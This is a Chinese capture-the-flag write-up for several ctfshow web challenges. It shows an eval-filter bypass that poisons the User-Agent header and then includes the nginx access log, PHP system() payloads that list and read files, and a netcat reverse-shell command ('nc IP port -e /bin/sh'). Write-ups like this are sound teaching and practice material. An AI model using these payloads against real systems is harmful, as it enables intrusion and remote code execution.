ctfshow web七夕杯

web签到

执行命令没有回显,我们直接写文件就可以了

有字符长度限制

复制代码
ls />a
nl /*>a

访问url/api/a下载文件

easy_calc

php 复制代码
<?php


if(check($code)){

    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        
        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }

    return false;
}

正则EXP

php 复制代码
<?php

$pattern = "/!|@|#|\\$|%|\\^|&|\\(|_|=|{|}|'|<|>|\\?|\\?|\\||`|~|\\[/";

// 所有可能的字符,包括特殊字符、大小写字母和数字
$all_chars = array_merge(
    range('!', '/'),   // 特殊字符
    range(':', '@'),   // 特殊字符
    range('[', '`'),   // 特殊字符
    range('{', '~'),   // 特殊字符
    range('0', '9'),   // 数字
    range('A', 'Z'),   // 大写字母
    range('a', 'z')    // 小写字母
);

$unmatched_chars = [];

foreach ($all_chars as $char) {
    if (!preg_match($pattern, $char)) {
        $unmatched_chars[] = $char;
    }
}

if (empty($unmatched_chars)) {
    echo "所有字符都被匹配了。\n";
} else {
    echo "未匹配到的字符有:\n";
    foreach ($unmatched_chars as $char) {
        echo $char . " ";
    }
    echo "\n";
}

?>

第一个正则

复制代码
" ) * + , - . / : ; \ ] } 这些字符还都可以使用
大小写字母和数字也都可以使用

第二个正则

复制代码
! " # $ % & ' ( ) , . : ; < = > ? @ [ \ ] ^ _ ` { | } ~ 
大小写字母和数字

POST:
num1=1;include "/var/log/nginx/access.log";&symbol=-&num2=1

UA:
<?=system('ls /');?>
<?=system('cat /secret')?>

包含日志文件

easy_cmd

php 复制代码
<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
        exec(escapeshellcmd($cmd));
}
?>
复制代码
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

进行转义之后就会进行shell命令但是不能使用带参数的命令

那么我们就反弹shell

复制代码
POST:
cmd=nc IP port -e /bin/sh

然后监听端口进行rce即可

easy_sql

欠着

相关推荐
海天鹰14 小时前
PHP上传文件
android·开发语言·php
网络安全零基础教程16 小时前
网络安全春招面试避坑与复盘指南
linux·网络·安全·web安全·面试·职场和发展
shiyi.十一17 小时前
第7章:无线网络和移动网络 — 知识要点与架构
网络·架构·php
晓梦林18 小时前
[极客大挑战 2019]PHP学习笔记
笔记·学习·php
2401_8949155319 小时前
Geo优化系统源码部署搭建技术——PHP程序开发部署指南
开发语言·php
汉堡包00119 小时前
【工具分享】--威胁情报平台大全
学习·安全·web安全·信息安全
介一安全20 小时前
【SRC】基础思路篇15:JWT安全测试完全指南
web安全·jwt·安全性测试·src
HH‘HH21 小时前
前端应用的离线暂停更新策略:原理、实现与最佳实践
开发语言·前端·php
xlq223221 天前
高并发服务器day8(含服务器完整架构)
运维·服务器·php
Loongproxy1 天前
2026年隧道带IP哪个好?国内代理IP服务商排名:高匿、稳定、性价比对比
网络·tcp/ip·php